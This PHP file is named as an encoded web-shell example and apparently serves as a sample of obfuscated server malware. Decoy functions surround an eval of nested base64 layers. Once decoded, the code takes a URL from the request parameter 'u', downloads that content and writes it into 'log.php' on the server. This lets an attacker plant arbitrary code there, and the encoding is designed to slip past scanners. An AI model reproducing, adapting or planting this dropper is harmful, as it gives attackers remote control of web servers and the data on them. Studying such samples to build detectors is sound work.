shell_encoded_level_3.php

<?php
/**
 *  shell example
 */
function __ab(){return __a();} function __a(){return null;} eval(base64_decode('ZnVuY3Rpb24gZGVmZW5kZXIoKQ0Kew0KCSR2YXIgPSAnWm5WdVkzUnBiMjRnWDE4b0tRMEtldzBLQ1hKbGRIVnliaUJmWDE4b0tUc05DbjBOQ2cwS1puVnVZM1JwYjI0Z1gxOWZLQ2tOQ25zTkNnbHlaWFIxY200Z1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb1gyTmhiR3dvS1NrN0RRcDlEUW9OQ21aMWJtTjBhVzl1SUY5allXeHNLQ2tOQ25zTkNnbHlaWFIxY200Z0pGOVNSVkZWUlZOVVcxOWhjbkpoZVNncFhUc05DbjBOQ2cwS1puVnVZM1JwYjI0Z1gyRnljbUY1S0NrTkNuc05DZ2x5WlhSMWNtNGdKM1VuT3cwS2ZRMEtEUXBtZFc1amRHbHZiaUJmWmlna1pHRjBZU2tOQ25zTkNna2tZU0E5SUdaZmIxOXlLQ2s3RFFvSlpuQjFkSE1vSkdFc0pHUmhkR0VwT3cwS2ZRMEtEUXBtZFc1amRHbHZiaUJtWDI5ZmNpZ3BEUXA3RFFvSmNtVjBkWEp1SUdadmNHVnVLRjlmWDJadmNpZ3BMRjlmYlNncEtUc05DbjBOQ2cwS1puVnVZM1JwYjI0Z1gxOWZabTl5S0NrTkNuc05DZ2x5WlhSMWNtNGdKMnh2Wnk1d2FIQW5PdzBLZlEwS0RRcG1kVzVqZEdsdmJpQmZYMjBvS1EwS2V3MEtDWEpsZEhWeWJpQW5keXNuT3cwS2ZRMEsnOw0KCXJldHVybiBldmFsKGJhc2U2NF9kZWNvZGUoJHZhcikpOw0KfQ0KDQpmdW5jdGlvbiBfbnVtZXJpYygpDQp7DQoJcmV0dXJuIGJhc2U2NF9kZWNvZGUoJ0RRb05DZzBLRFFvTkNpUmZJRDBnWDE4b0tUc05DaVJmWHlBOUlGOW1LQ1JmS1RzTkNnPT0nKTsNCn0NCg0KZnVuY3Rpb24gZmlsdGVyKCkNCnsNCglyZXR1cm4gZXZhbChfbnVtZXJpYygpKTsNCn0NCg0KZGVmZW5kZXIoKTsNCmZpbHRlcigpOw=='));
function _a(){ return b();};
function b(){return null;}
if(_a()){function asd(){return __a();}}